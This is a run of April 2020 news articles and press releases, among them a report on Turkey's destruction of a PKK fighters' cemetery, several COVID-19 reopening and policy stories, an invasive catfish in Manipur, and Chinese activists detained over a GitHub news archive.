what I saw, he said. The entire cemetery had been leveled. The mosque, the graves, everything. They had come in with earth movers and bulldozers. What kind of human does this without even informing us? I felt shame on their behalf, Bingol recalled. Satellite images of the cemetery corroborate his description. Three sateillite images taken in July 2013, September 2017 and September 2019 show the construction and destruction of the cemetery at Garzan. Photos via Google Earth and CNES/Airbus. In a January 2018 press release, the Bitlis governors office justified the move on the grounds that the so-called cemetery adorned with illicit symbols had been built on usurped pasture land. The bones, removed in the presence of an imam, would be returned to families whose DNA matched them once testing was complete. Armed with documents proving that Dilans burial had been formally sanctioned, Bingol headed for the local prosecutors office. In mid-January, the state admitted it had made a mistake and returned her remains to him in a bag. Hes a well-known and respected personality in the area so they probably did so hoping that the affair would die down, speculated Serzan Cakmak, a lawyer who has filed a criminal case against the state on behalf of the Garzan families. Dilan Bingol is pictured in an undated photo (courtesy of Lezgin Bingol) A further shock ensued with news that a large number of the remains had been transferred from Istanbul in plastic boxes and buried in a paupers' graveyard in the Black Sea town of Kilyos, north of Istanbul. Cakmak says such actions violate Article 8 of the European Convention on Human Rights pertaining to the right to respect for private and family life. The chief prosecutor in Bitlis, however, dismissed the charges. Cakmak has since lodged an appeal with the Bitlis magistrates court and says he will take the case all the way to the European Court of Human Rights if need be. In a telephone interview with Al-Monitor, Cakmak said that 29 families had provided DNA samples to the authorities to help identify their loved ones. Of them, 25 families have retrieved their remains so far. Around 12 sets of body parts were brought back from the graveyard in Kilyos, Cakmak said. Among them was Bingols nephew, Faysal, who had also died fighting for the PKK. Families had to wait for months before they got their kids back, Cakmak said. Most were too afraid to make a claim, he added. Such delays are often deliberate, according to the Istanbul-based Anatolian Association of Solidarity and Assistance for the Families of Missing Persons. The groups co-chair, Seyhmus Isik, told Al-Monitor, its a form of psychological pressure thats applied to slain PKK fighters families. Since the failed coup, he says, the authorities typically try to prevent imams from performing their last rites. Ordinary citizens and even relatives are not allowed to attend their burials. Armoured vehicles stand in the way, Ozsoy the lawmaker said. Coming full circle The targeting of the cemeteries continues. Last week, security forces in the southeastern township of Ercis smashed the headstones of two PKK fighters in full view of their families, telling them to never again inscribe code names on headstones or decorate them with PKK symbols, the online KrdNews news site reported. There isnt the slightest pity felt for a mother who has lost her child. There is no respect for the dead, observed Osman Baydemir, a former mayor of Diyarbakir who is living in exile in Europe. I know of many instances when authorities told the families of PKK fighters to repay the government for the bullets used to kill them, he told Al-Monitor in a Skype interview. Baydemir is among scores of HDP officials who are being prosecuted for taking part in PKK funerals and assisting in their burials even though there are no laws proscribing such acts. There are so many such charges filed against me I have lost count, said Baydemir. I know of many instances when authorities told the families of PKK fighters to repay the government for the bullets used to kill them. One of the charges jailed mayors have faced is that they have either attended funerals of PKK members or they have failed to prevent the appearance of PKK-related symbols, flags and slogans at the funerals of PKK members, said Human Rights Watch Turkey director Emma Sinclair-Webb in emailed comments to Al-Monitor. Such charges are usually a means of padding weak indictments and accusing the mayors of spreading terrorist propaganda, an offense that is often applied in an overly broad manner to link the mayors to terrorism without evidence they have actually incited violence. The European Court has ruled that such charges can be a violation of freedom of expression, Sinclair-Webb added. The demonization of the HDP has been carried to such extremes that when a jailed former HDP lawmaker, Aysel Tugluk, was allowed to take part in her mothers funeral in Ankara, she was mobbed by a crowd chanting racist slogans. Some bore clubs and pelted mourners with stones. Terrorists and Armenians cannot be buried here, they shouted. Tugluks mother was exhumed and reburied in her native Tunceli. Erdogans spokesman Ibrahim Kalin condemned the incident and the Interior Ministry launched a criminal probe. Three of the perpetrators were arrested. Bingol reburied his daughter in a cemetery in the city of Tatvan in Bitlis province on the western shores of Lake Van. Why did the state treat my child like a criminal? She died fighting the Islamic State, he lamented. I havent placed a headstone on her new grave yet. I fear they will destroy it again. Aaron Schaffer and Alex McKeever assisted in the production of this article. PHOENIX, April 28, 2020 /PRNewswire/ -- Mijana Lebanese Grill owner, Menassa Abinader, and Chairman of the Arizona Muslim Police Advisory Board, Mohamed El-Sharkawy, have been actively delivering fresh, nutritious meals to Valley first responders and their support staff free of charge. Though many restaurants face unprecedented challenges to remain in business during the Coronavirus epidemic, this owner sees an exceptional opportunity to give back. Menassa Abinader, Owner Mijana Grill Mesa Police Officer "It's time for all of us to help and support each other," says Abinader. "At Mijana, we are doing our part by donating our healthy, Lebanese food to the first responders; police, fire, EMT, doctors and nurses, and who put their lives in danger every day to protect us! We have locations in both the East and West Valley so we are well-positioned and are out there working every day. We have already delivered to Gilbert, Chandler, Mesa, Tempe, Scottsdale, and Phoenix Police Departments as well as Banner Desert Medical Center." A video is available at http://mijanaonline.com In his lifetime, Menassa has been through many difficult times both here and in the Middle East but has learned to stay focused and never give up hope. He came to America in 1977 and is very thankful to be here as a legal immigrant with a great family, friends, and fans who support him. "My son, Trevor, is a police officer in Belmont, California," says Abinader. "I'm so proud that he chose such an important career and to serve his community. I'm thankful to the USA for giving me a chance to be who I am, for the people around me, my family, employees, and everybody who has supported my restaurants." Mijana Lebanese Grill, with locations in Tempe and Glendale, is a traditional Middle-Eastern restaurant, featuring authentic Lebanese food and LIVE entertainment. The menu provides a wide choice of cold & hot mezza accompanied by a variety of grilled lamb, beef, chicken, seafood, and vegetable kabobs and includes fresh pita bread baked in traditional Stonewood ovens. Contact: Menassa Abinader Owner, Mijana Lebanese Grill 650-218-8517 [email protected] http://Mijanaonline.com East Location: To-Go Orders and Delivery Only Due to Coronavirus 1290 N Scottsdale Rd Tempe, Arizona (480) 829-4959 West Location: Temporarily Closed Due to Coronavirus 5686 W Bell Rd Glendale, Arizona (602) 354-4002 SOURCE Mijana Grill People are seen gathering on the beach north of the pier in Newport Beach, Calif., on April 25, 2020. (Michael Heiman/Getty Images) Newsom Blasts Orange County Beach Crowds NEWPORT BEACH, Calif. (CNS)Gov. Gavin Newsom on April 27 lashed out at crowds who flocked to some Orange County beaches over the hot weekendmost notably Newport Beachsaying ignorance of social-distancing mandates is dangerous and could delay the states ability to reopen businesses and ease health orders. Those images are an example of what not to see what not to do, if were going to make the meaningful progress that weve made in the last few weeks extend into the next number of weeks, Newsom said. The reality is we are just a few weeks away, not months away, from making measurable and meaningful changes to our stay-at-home order, he added. That is a very optimistic point to emphasize, however, thats driven by data. Thats driven by behavior. And as we change our behavior, we can impact the science, the health, and the data. Thousands of people descended on beaches in Orange and Ventura counties to escape the weekends heat wave. Television news images showed crowds of people on the sand, and while many appeared to be trying to position themselves away from other beachgoers, others appeared to disregard such safeguards. Beaches in Los Angeles County were closed, prompting some residents to drive to neighboring counties to enjoy the ocean breezes. This virus doesnt take the weekends off, Newsom said. This virus doesnt go home because its a beautiful sunny day around our coasts. The governor was visibly frustrated over the images as he discussed them in his daily CCP (Chinese Communist Party) virus briefing from Sacramento, insisting the state has been making progress on flattening the curve of COVID-19 infections. We have to manage risk, he said. We have to manage and augment our behavior. And thats why I cannot impress upon you more, to those Californians watching, that we cant see the images like we saw, particularly on Saturday, in Newport Beach and elsewhere in the state of California. Newsom acknowledged that Newport Beach officials, recognizing the situation, have scheduled a special city council meeting for 3 p.m. on April 28 to discuss closing the citys beaches for the next three weekends, and appointing a council committee to discuss business-reopening plans. In a statement issued over the weekend of April 25-26, the city noted, While most of the beachgoers were practicing responsible social distancing, the volume of visitors generated significant neighborhood impacts and ran counter [to] guidance from California State Parks to `stay close to home when you get outdoors. This is not the time for a road trip to a destination park or beach.' The governor said he respects local decision-makingand the political pressure being placed on local elected officialsbut he said social distancing has to remain in force. I cannot impress upon people more: The only thing that will set us back is our behavior, he said. The only thing that will set us back is people stopping to practice physical distancing and appropriate social distancing. Thats the only thing thats gonna slow down our ability to reopen this economy, our ability to adapt and modify the stay-at-home order, he added. As I said, weeksnot monthsif the data continues to be as stable as it has been over the course of the last few weeks. The only thing that can stop that is more images like we saw over this weekend. Orange County CEO Frank Kim said he took a drive along the coast this weekend and noticed the large crowds, but he said he believes the problem will resolve itself as beaches are reopened in San Diego and elsewhere. What I heard was San Diego will open its beaches, so that will be a benefit to us, since we wont see people coming up to Orange County from San Diego, Kim said I dont want to punish Orange County residents, keeping them away from the outdoors to recreate I think the density will lessen as more beaches open. Kim said he also heard that the states beaches in the area were also set to reopen soon. Once they do that, itll spread out the crowds, Kim said. Orange County Parks officials in charge of enforcing social distancing at the countys beaches told Kim, It was not being followed as well as we hoped. While Newport Beach officials plan to discuss closing beaches, officials in Huntington Beach said people who gathered in that city over the weekend were taking precautions. Huntington Beach police officials wrote on Twitter that, Despite whats being reported, the majority of our beachgoers are complying [with] social distancing. When they were not, they were educated and have complied. Laguna Beach in March voted to close its beaches. The county has also closed parking lots to the beaches to help curtail crowds, but it has caused parking problems in some neighborhoods around the beaches, officials have said. The Epoch Times refers to the novel coronavirus, which causes the disease COVID-19, as the CCP virus because the Chinese Communist Partys cover-up and mismanagement allowed the virus to spread throughout China and create a global pandemic. Gov. Greg Abbott told Texans on Monday that many of them will be allowed out of their homes this week to shop, dine and take part in other aspects of daily life as the state begins to reopen amid the global pandemic. With testing for COVID-19 on the rise and the percent of new cases falling, the governor said the state has effectively stunted the spread of the virus, and cities and counties should begin allowing residents to safely return to work. Within days, he said, most businesses will be able to reopen at limited capacity, and pockets of the state where cases are especially low can open even more, with nonbinding guidelines in place to continue social distancing. We're not just going to open up and hope for the best," Abbott said. Retail businesses, restaurants, movie theaters and malls across the state will be allowed to reopen May 1 at 25 percent capacity, as will museums and libraries. Bars, barber shops, gyms and hair salons will remain closed, likely until mid-May, Abbott said. Masks and other strategies to contain the virus will be encouraged but not mandated. LIVE UPDATES: A timeline of COVID-19 in San Antonio The announcement, as a 30-day stay-at-home order is set to expire Friday, immediately put the states top official at odds with authorities in some of its hardest hit cities, which have issued their own emergency restrictions. Abbott said his edict supersedes those, though no one will be forced to go outside. "If you want to stay at home, stay at home," he said, adding, "You have every right to control your own path." The governor said his phased reentry plan, which allows for larger re-openings as the outbreak continues to slow, was guided by medical professionals and vetted by the White House. Businesses that violate the new capacity guidelines could be fined or lose their license, Abbott said. Democrats and some public health officials have worried that re-opening too quickly could lead to new surges of the outbreak, which has infected more than 25,000 Texans and killed 663, according to state data. The number of cases in the state continues to grow, but new daily cases a measure of how quickly the outbreak is spreading have remained mostly stagnant over the past week, even as testing capacity has expanded. TRACKING COVID-19: Interactive maps, charts show spread of coronavirus in Texas Public health experts have said robust testing and contract tracing tracking down contacts of those who have been infected will be pivotal to preventing new outbreaks as states begin to roll back restrictions. Abbott said the state has deployed more than 1,100 contact tracers already, and plans to bring on nearly 3,000 more by May 11. The governors plan sets a goal of 30,000 tests per day. The state is currently administering about 14,000 daily tests, on average. The governor is still not recommending people without symptoms get tested. Some public health studies have called for higher numbers of daily testing, and Democrats were quick to call the governors testing and tracing plan insufficient. We all want the state to get back on track, we all want the economy to get back on track, but it has to be done safely, said U.S. Rep. Veronica Escobar, D-El Paso. Without robust testing, we remain in the dark. In Harris County, which has seen the biggest outbreak, the number of new daily cases varied, though the percent of people testing positive has declined recently. The county is now up to more than 5,700 cases. Some public health officials said they liked the governors phased approach, saying it allows for time to see if restrictions need to be added back if new outbreaks occur. Dr. Paul Klotman, president of Baylor College of Medicine, said the public should be prepared to adjust, for there to be two steps forward and one step backward as outbreaks occur. Several rural counties still have tested few if any people, according to the most recent preliminary testing data. Abbott said Monday that counties with five or fewer cases of the virus will be able to open at 50 percent capacity as of May 1, as long as they show they are ready if outbreaks occur and are helping people access testing. For more detail on Abbotts plan, you can read the full report here: Texans Helping Texans: The Governors Report to Open Texas. Todd Ackerman contributed reporting. Close Donald Trump says accusation he would try to move the general election is 'propaganda' Donald Trump declared, without evidence, that the US is doing sooo much better than any other country in the world in testing for coronavirus after pledging at the White House that America would soon have the capacity to test 5m people per day. But on Wednesday, less than 24 hours later, he falsely claimed that he never said the US would be testing at that rate. The presidents optimism came despite the country passing 1m cases of Covid-19 and 60,000 deaths, a grim marker that officials initially said the US wouldn't reach until August. Within four months of the outbreak, the nation's death toll has surpassed the total deaths from conflicts leading up to and during the Vietnam War over two decades. Mr Trump has meanwhile invoked the Defense Production Act to keep American meatpacking plants open, despite declining to do so for the sake of ventilators or personal protective equipment, as his vice president Mike Pence finds himself in hot water for refusing to wear a mask during an official visit to the Mayo Clinic medical facility in Minnesota on Tuesday. For the third day in a row, the president met with business leaders to discuss the coronavirus response and reopening plans as states begin to preparations to "reopen" against the warnings of health officials and epidemiologists. He also claimed that coronavirus is "going to leave" despite, even without a vaccine. "It's gonna be eradicated," he said. "It might take longer, it might be in smaller sections. It won't be what we had." Follow live coverage as it happened Please allow a moment for our live blog to load A fish from the Amazon River basin in South America has been found in Manipur, raising concerns among experts of an invasion of the northeastern states aquatic ecosystem by alien species. This came to light when Amazon Sailfin Catfish, also known as suckermouth catfish, was caught by a fisherman from the Waishel canal in Manipurs Bishnupur district probably for the first time on April 22. Bishnupur district has the largest freshwater lake in the northeast region. Experts said the Amazon Sailfin Catfish was found in the Ganga in Bihars Patna some years ago and also in the Brahmaputra in lower Assam. But this species was not reported from any other northeastern states yet. Report of catching of such alien species from the water bodies of the state is not a good sign because their presence may demolish the aquatic diversity of the region, Dr Ch Basudha Devi, a senior scientist of the Manipur centres Indian Council of Agricultural Research (ICAR), said. Subsequently it will affect the regions biodiversity, she added. The one-foot long fish is said to be a fast-spreading species. As per reports, this alga eating fish, which can grow up to 49 centimetres and weigh up to 310gm, has become a local pest to eliminate fish in a few countries. Above all, they will start expanding and try to occupy the entire habitat and start competing with our native species, which are in low fecundity rate as there is no native predator to control them, Yumnam Lokeshwor, an associate professor with Assam Don Bosco Universitys department of zoology, said. Manipurs water bodies are increasingly becoming populated by alien fish species. Some of them have been let out for commercial purposes by the state while some have been released accidentally from captivity due to lack of necessary regulations. Yumnam said more than a dozen alien species, including seven authorised exotic food fish, two authorised larvicidal fish, three unauthorised exotic food fish and five other freshwater ornamental fish, were found in the states water bodies after their introduction. Some of them have already established a good breeding population and have emerged as a threat to the native species, he said. The International Union for Conservation of Nature (IUCN) had listed seven native fish of Manipur as endangered freshwater species. Even the state fish, Pengba, has vanished from wild and is only bred in farm ponds. Therefore the state fishery authority must adopt new policy to monitor the introduction of new species including the aquarium species (exotic) as this hobby has been increasing day by day, Yumnam added. Sharing a similar sentiment, ICAR scientist Basudha also expressed the need to form a state-level assessment committee to monitor the aquarium fish trade and introduction of exotic species. N Gojendro, the newly-appointed director of the fisheries department, acknowledged the recent development. Gojendro said they have appraised the matter to his seniors to formulate a comprehensive guideline for importing, culture and marketing of fishes in the state. SHARE THIS ARTICLE ON Rapper 2 Chainz was supposed to re-open his Escobar Restaurant in Atlanta for table service on Monday, but instead, he decided to feed the homeless instead. The 42-year-old rapper (born Tauheed Epps) provided meals for roughly 120 homeless people, according to TMZ. He also posted a brief video on Twitter Monday afternoon, stating, 'Instead of opening Escobar Restaurant up today we decided to feed the homeless.' Helping hand: Rapper 2 Chainz was supposed to re-open his Escobar Restaurant in Atlanta for table service on Monday, but instead, he decided to feed the homeless instead Video: He also posted a brief video on Twitter Monday afternoon, stating, 'Instead of opening Escobar Restaurant up today we decided to feed the homeless' The rapper was wearing a pair of blue Amaco coveralls over a black hoodie with the hood up, sunglasses and a white face mask. He was seen with his business partner Snoop Dillard handing out free meals outside their location in downtown Atlanta, with guests practicing social distancing, standing at least six feet apart. The rapper was serving butter garlic chicken pasta and water, while Dillard was seen driving around Atlanta, handing out meals to people on the street. Look: The rapper was wearing a pair of blue Amaco coveralls over a black hoodie with the hood up, sunglasses and a white face mask 2 Chainz also posted a number of photos of him and his team handing out food at his restaurant location, with a message. 'Doin my part to make a difference ! What you doin besides holding ya nuts on a young black entrepreneurs ????' he began. 'What happen to the media today ??? Feeding the homeless aint that interesting huh ?? SPIN CYCLE TONI' he concluded. Team: 2 Chainz also posted a number of photos of him and his team handing out food at his restaurant location, with a message Their part: 'Doin my part to make a difference ! What you doin besides holding ya nuts on a young black entrepreneurs ????' he began 2 Chainz and Dillard were originally supposed to open both their Escobar and Tapas restaurants, serving dine-in meals on Monday. With Georgia's Governor Brian Kemp leading the way for businesses to start opening up again, it looked like 2 Chainz was getting ready to open, with TMZ reporting that sales were down a whopping 95% at both locations, with 80% of the staff furloughed. While 2 Chainz and Dillard announced they would re-open on Thursday, they changed their minds on Friday, revealing they haven't decided when dine-in service will resume. Reopen: With Georgia's governor leading the way for businesses to start opening up again, it looked like 2 Chainz was getting ready to open, with TMZ reporting that sales were down a whopping 95% at both locations, with 80% of the staff furloughed 'After careful consideration, we are not going to open our restaurants on Monday. It has not officially been decided when we will start having dine-in service,' Dillard said. Both restaurants are still open for takeout service, but the rapper was hoping to bring back his full staff of 80 employees with dine-in service. While Governor Kemp is trying to re-start the state's economy again, Atlanta mayor Keisha Lance Bottoms is still urging folks to stay at home. (Natural News) Shutting down non-essential businesses was one of the best strategies employed by governors early on to control the spread of the Wuhan coronavirus (COVID-19) and save lives. And Texas was among the first states to impose lockdowns, given its huge population and size. Now, after having successfully bent the infection rate downward, GOP Gov. Greg Abbott is allowing some businesses to reopen with continued minor restrictions. The Texas Tribune reports: Gov. Greg Abbott on Monday said he will let the states stay-at-home order expire Thursday as scheduled and allow businesses to begin reopening in phases the next day, the latest ramp-up in his push to restart the Texas economy amid the coronavirus pandemic. First to open on Friday: retail stores, restaurants, movie theaters and malls. But they will only be allowed to operate at 25% capacity. Museums and libraries will also be allowed to open at 25% capacity, but hands-on exhibits must remain closed. The governor noted that he is currently planning for Phase 2 of reopenings, which he said could come by May 18 as long as Texas sees two weeks of data to confirm no flare-up of COVID-19. The second phase will allow businesses to expand their occupancy by another 25 percent, allowing them to fill to 50 percent overall. During a press conference, Abbott said he planned to let the current stay-at-home order expire because the social distancing and shutdown order has done its job to slow the growth of COVID-19. Now its time to set a new course, a course that responsibly opens up business in Texas, Abbott said, flanked by Lt. Gov. Dan Patrick and Texas House Speaker Dennis Bonnen, the Texas Tribune reported further Just as we united as one state to slow COVID-19, we must also come together to begin rebuilding the lives and the livelihoods of our fellow Texans. Earlier this month, President Trump announced a phased-in approach to reopening the country, issuing new guidelines that would help give governors and mayors some leeway in deciding how best to proceed. The lockdowns, painful as they were, have worked Under these guidelines, States will reopen one step at a time, rather than all at once, said a press release from the White House. The guidelines will empower Governors to tailor the phased reopening to address the situation in their State. Governors could begin by opening up statewide or on a county-by-county basis, whatever they and their health advisers decide is best. As for Abbott, he said his order merely gives permission to reopen, but its not a requirement, adding that individual businesses can remain shuttered if they want. The governor said he was holding off on reopening some businesses including barbershops, hair salons, bars and gyms, but said he hoped those, too, could reopen by mid-May. Other governors are following suit. As Trending Politics reported, they include Tennessee, Montana and Mississippi. Governors of those states are defending their actions like Abbott has done. (Related: Dave Hodges encapsulates the anti-lockdown consensus: End the lockdowns by any means necessary civil disobedience rising.) Like the rest of the country, Tennessee has taken an unprecedented economic hit with families and small businesses feeling the most pain, GOP Gov. Bill Lee said. We must stay vigilant as a state, continue to practice social distancing, and engage in best practices at our businesses so that we can stay open. Wall Street and Hollywood will be fine, Mississippi Gov. Tate Reeves wrote in part of a lengthy statement on Facebook. Mississippi small businesses and workers are not. Thats who has been asked to shoulder the countrys burden. Its not fair, and its not right. We have to safely, quickly re-open. Thats what were starting to do. The lockdowns, painful as they were, have worked. Sources include: TrendingPolitics.com TexasTribune.org NaturalNews.com Members of the Peoples Democratic Party (PDP)caucus in the House of Representatives have expressed displeasure over the health crisis and mysterious deaths in Kano State. In a statement signed by its leader, Kingsley Chinda, on Monday, the caucus said the development is more worrisome coming in the midst of the current coronavirus pandemic ravaging Nigeria. Since reporting its index case about two weeks ago, Kano has been the centre of controversies ranging from the rapid increase in number of confirmed cases, mysterious deaths and the sudden halt of its testing operation. Kano, which currently stands as the third hardest-hit state in Nigeria, has so far reported 77 cases out of the 1,273 in Nigeria. PREMIUM TIMES, on Wednesday, reported how a member of Kano Task Force on COVID-19, Isa Abubakar, said the NCDCs COVID-19 testing centre in Kano suspended its operation due to shortage of testing kits. But the Director General of the NCDC on Monday said testing has resumed in the state. Condemnation Mr Chinda said the caucus was concerned over the health crisis in Kano State. The very recent reports of unprecedented death of scores of people within few days in Kano State should concern every responsible public officer, he said. Mr Chinda said while the cause of these deaths remain unknown or are yet to be ascertained, it is apparent that so far, the efforts of the Kano State Government and more particularly that of the Federal Government through the Nigeria Centre for Disease Control (NCDC) and the Presidential Task Force (PTF) on Covid-19 seem to have been largely lame, clueless and indeed devoid of any practical solutions. READ ALSO: He said no concrete effort has been made to bring the situation under control. We are indeed deeply concerned and worried about this lacklustre stance of the Federal Government in solving and dealing with an important health issue such as this, he added. He said partisanship is off limit when it comes to matters affecting the lives of citizens. The spectacular failings on the part of managers of this pandemic, diminishes us all as Nigerians regardless of our callings in life, he noted. He said all Nigerians, irrespective of political affiliation, must speak out. Silence in the face of mass deaths of our citizens is nothing but a heinous crime. It is important to state that governance at all levels is a serious business, and meant for serious minded persons. We cannot continue to breach with impunity one of the most important provisions of our Constitution that the security and welfare of the people shall be the primary purpose of government. He also said the rights of Nigerians to the security of their lives and properties are inalienable. Thus, the health and welfare of the people must remain paramount at all times and must never be compromised or treated with levity for any reason whatsoever, otherwise, it would amount to an abdication of responsibilities by government and the consequence is avoidable deaths in the society. We stand and commiserate with the residents and people of Kano State in this very critical and challenging times. The caucus demanded an urgent and thorough investigation and practical and affirmative steps by the Federal government into the circumstances surrounding the disturbing mass death in Kano. Every state in Nigeria should have at least a testing centre without further stories, the caucus said. Three Beijing-based internet activists have disappeared and are believed to be detained by police for archiving censored coronavirus news stories online, according to a relative. China has faced criticism over its handling of the outbreak, including punishing whistleblowers who tried to warn about the new virus. Chen Mei, Cai Wei and his girlfriend surnamed Tang who contributed to the crowd-sourced project on the software development platform GitHub went missing on April 19, according to Chen's brother Chen Kun. The volunteer-driven project, named Terminus2049, preserved articles that were blocked or removed from mainland news outlets and social media by China's aggressive online censorship. Two of the volunteers, Cai and Tang, were charged with "picking quarrels and provoking trouble" and are currently under "residential surveillance at a designated location," according to a notice from Beijing's Chaoyang District police received by their families, and seen by AFP. Chen Kun said that he is still waiting on official confirmation from Chaoyang police that his younger brother, aged 26, has been detained. "I understand that Cai and Tang disappeared around the same time as Chen Mei," Chen told AFP. "Given that both Chen and Cai were contributors to the Terminus2049 project, we suspect their disappearance was related and relevant to the project." The online project included many sensitive coronavirus stories published in recent months, such as personal narratives by Wuhan citizens and an infamous interview with Wuhan Central Hospital doctor Ai Fen, one of the earliest virus whistleblowers. The article, published by "People" magazine in March, was widely circulated by Chinese netizens in a number of languages and formatsincluding Morse codeto evade censorship after it was abruptly pulled from the internet. As China tries to control the domestic narrative surrounding the chaotic initial months of the outbreak, similar crowd-sourced initiatives have flourished on GitHub, which is used by an increasing number of tech-savvy Chinese as a last frontier against ever-tightening internet censorship. Owned by Microsoft, the U.S.-based website remains accessible in China although the Terminus2049 page is blocked. News of the Terminus2049 trio's disappearance made a stir online in Chinese activist circles. "What quarrels were they picking, and what troubles were they provoking? Show me legal proof," said the outspoken Tsinghua University sociology professor Guo Yuhua on Twitter Sunday, referring to Cai and Tang's charges. "Picking quarrels and provoking trouble" is a vaguely defined charge often used by Chinese authorities to target activists and dissidents, which carries a prison sentence of up to five years. The administrators of 2019nCoVMemoryanother GitHub coronavirus archivemade the "protective" move to restrict access to its site to members only, according to an email sent to subscribers that was circulated on Weibo. Chaoyang public security bureau and the administrators of 2019nCoVMemory have not responded to requests for comment. Chinas e-commerce sector has huge scope for growth thanks to its vital role in unleashing consumption potential and countering the impact of the novel coronavirus outbreak. Employees sort apples at an e-commerce center in Lixian county, Longnan in northwest Chinas Gansu province, where local e-commerce enterprises have contributed to efforts to alleviate stagnant sales of about 30,000 tons of apples. (Photo by Li Xuchun/Peoples Daily) With people trapped at home to prevent the spread of the coronavirus, the demand for online shopping has soared, and online sales have surged as brick-and-mortar stores have turned to online channels to increase their sales, said Lin Tao, an official with the National Bureau of Statistics. In the first quarter, Chinas online retail sales of physical goods increased 5.9 percent year-on-year, accounting for 23.6 percent of total retail sales of consumer goods, Lin added. Lins remarks were echoed by Cai Yudong, an official with the Ministry of Commerce, who added that e-commerce has played a major role in maintaining healthy economic and social development during the epidemic. Major e-commerce giants have launched telecommuting tools to help companies resume work and production, and worked together with large shopping malls, supermarkets and chain stores to boost their sales, Cai noted. The ministry has attached great importance to promoting the growth of both online and offline consumption, launching measures to accelerate digital and intelligent transformation of the business sector, the official said. Due to e-commerces significant role, the ministry will launch an online shopping festival to boost consumption from April 28 to May 10, which will see the participation of over 109 e-commerce platforms selling a large variety of quality goods. Improved logistical services will also push forward the development of China's e-commerce. 96.6 percent of towns and villages in the country have established express delivery service stations, according to Bian Zuodong, an official with the State Post Bureau. Bian said the bureau has launched a program to bring express delivery service coverage to all villages in the country within three years. China has also built 406,000 intelligent express boxes in recent years, Bian noted, adding that the bureau will set up more intelligent boxes across the country. Furthermore, industrial internet and 5G provide important support for China's booming e-commerce, said Li Ying, an official with the Ministry of Industry and Information Technology. During the epidemic period, consumer demand for online medical and education services, as well as food delivery and new retail services, saw explosive growth, Li added. Metro Manila (CNN Philippines, April 28) Senator Grace Poe filed a bill on Tuesday proposing the establishment of a Center for Disease Control to boost the countrys preparedness and response to public health emergencies. In her "Pandemic Preparedness and Response Bill", Poe emphasized the importance of building and enhancing the countrys expertise in disease prevention and control. We need to catalyze support for a proactive and efficient health system with increased capacities to prevent and control the spread of new or recurring infectious diseases, Poe said. Under the bill, the proposed CDC will spearhead the formulation of a national strategy to anticipate and address public health emergencies and provide proper direction on such health threats. The center is also envisioned to provide consultation and assistance to other nations and international agencies to collaborate and partner with them in improving the effectiveness of disease prevention and control mechanisms. Poe added the health sector in the country must adapt to new norms given the COVID-19 pandemic and having a CDC is one step in adjusting to a new national health approach. We need to restrategize, restructure and reinvent our systems if we are to stay afloat and cope with the scourge and disruption brought about by COVID-19, including the threat of new diseases, told Poe. During the House Defeat COVID-19 committee virtual hearing last April 16, Health Secretary Francisco Duque III appealed to lawmakers to pass a bill creating the CDC in the country. Albay second district Rep. Joey Salceda also filed a House version of the CDC bill, patterned after the agency of the same name in the United States. The late Sen. Miriam Defensor-Santiago also filed a similar bill in 2013 in establishing a CDC in the country. The country now has 7,777 confirmed COVID-19 cases along with 511 deaths and 932 recoveries. DayZ developer-publisher Bohemia Interactive has shut down its Bratislava studio, although it claims development on the survival shooter will proceed as planned. Breaking the news on Twitter, Bohemia said the shuttering was a "mutual decision between management and studio leads." Preempting concerns that production on DayZ would be affected, the studio reassured fans that development on the title will continue as outlined in its January roadmap. Bohemia Bratislava had recently been tasked with reviving DayZ's battle royale mod 'Survivor GameZ' as an official standalone game. Pitched as an 'enhanced PvP experience,' the mode went into open alpha in July 2019, but as of October had been shelved indefinitely. "The open alpha of Survivor GameZ has ended, thank you so much for jumping in. We have collected a lot of useful data, and we are incredibly grateful for your help," reads a post uploaded to the DayZ Reddit. "Right now, we dont plan to turn Survivor GameZ into a standalone game or DLC for DayZ, but we plan to use the data from the Open Alpha for our future projects." It's currently unclear whether the demise of Survivor GameZ and the closure of Bohemia's Bratislava studio are related. SOMERVILLE, Mass., April 28, 2020 /PRNewswire/ -- Cherish Health, a Cambridge technology innovator that pioneers solutions to improve lives and enable care using advanced sensors, artificial intelligence, medical evidence, and human touch, and its non-profit partner, Health eVillages, a global organization that provides medical resources such as mobile technology, training, and apps to low-resource settings, are launching their broad partnership during the COVID-19 pandemic with a program that will monitor and support the health care needs of formerly homeless veterans. Their first joint program will bring this new technology to elderly veterans who currently reside at the Massachusetts Bay Veterans Center, a transitional and permanent housing complex in Somerville operated by the Volunteers of America of Massachusetts (VOAM), that also provides a range of support services for veterans with multiple medical conditions. Mayor Joseph Curtatone has taken a lead in bringing these organizations together to improve the delivery of health care to the most vulnerable, including the city's veterans. "We've heard tragic stories involving multiple deaths at veterans' facilities in other parts of our state and for that reason I have brought together a number of partners who are working to prevent that from happening here in Somerville," Curtatone said. "Like our beloved veterans, we are embracing the creed that no one gets left behind." Cherish Health was founded earlier this year by serial entrepreneur Sumit Nagpal, formerly SVP and GM for Health Innovation at Comcast, and prior to that Global Lead for Digital Health Strategy at Accenture. "Initially, we launched a biosensor patch to help individuals with long-term conditions receive care where they live with 24/7 support from their care teams," said Nagpal, who serves as CEO. "As the COVID-19 pandemic spread across the globe, we worked with clinicians in the United States, UK, and elsewhere to rapidly devise care pathways while we scaled up production to make the technology available to healthcare organizations racing to cope with the disease. We are now deploying the solution across these and other geographies." Three versions of bandage-like, low cost Cherish Serenity biosensor patches monitor combinations of respiration, oxygen levels, temperature, heart rate, and EKG. Cherish Health's [email protected] kits contain a two-week supply of these connected biosensors and provide a turnkey solution to help safely monitor individuals who have been diagnosed with the virus while remaining socially distanced to minimize transmission. They also help those admitted to hospitals to return home sooner, freeing up beds for those who need them. "Our veterans have sacrificed so much so we may live with the freedoms and privileges we enjoy," said Cherish Health CEO Sumit Nagpal. "During this time of unprecedented need, we are grateful to do all we can, with generous support from Health eVillages, to help keep our national treasures safe." Global healthcare activist and innovator Donato Tramuto founded Health eVillages in 2011 following the earthquake that devastated Haiti. Since that time, the organization has provided state-of-the-art mobile health technology, including medical reference and clinical decision tools as well as community resources, to medical and public health professionals serving the most vulnerable populations around the world. Tramuto has been a champion for addressing loneliness, social isolation, and social determinants of health both domestically and in emerging countries. Tramuto, also the founder of the non-profit Tramuto Foundation and author of "Life's Bulldozer Moments", is looking forward to this collaboration with Cherish Health and Volunteers of America of Massachusetts. "When I founded Health eVillages in 2011, I never intended to try to solve the world's healthcare problems alone," Tramuto explained. "Health eVillages is a collaborative mission shared by many dedicated, experienced individuals and organizations and I am thrilled to have the support of Sumit and Cherish Health and Volunteers of America of Massachusetts, to help us move the needle to improve the lives of our aging veterans. These are uncertain times for us all, but no one deserves our appreciation and unwavering support more than the 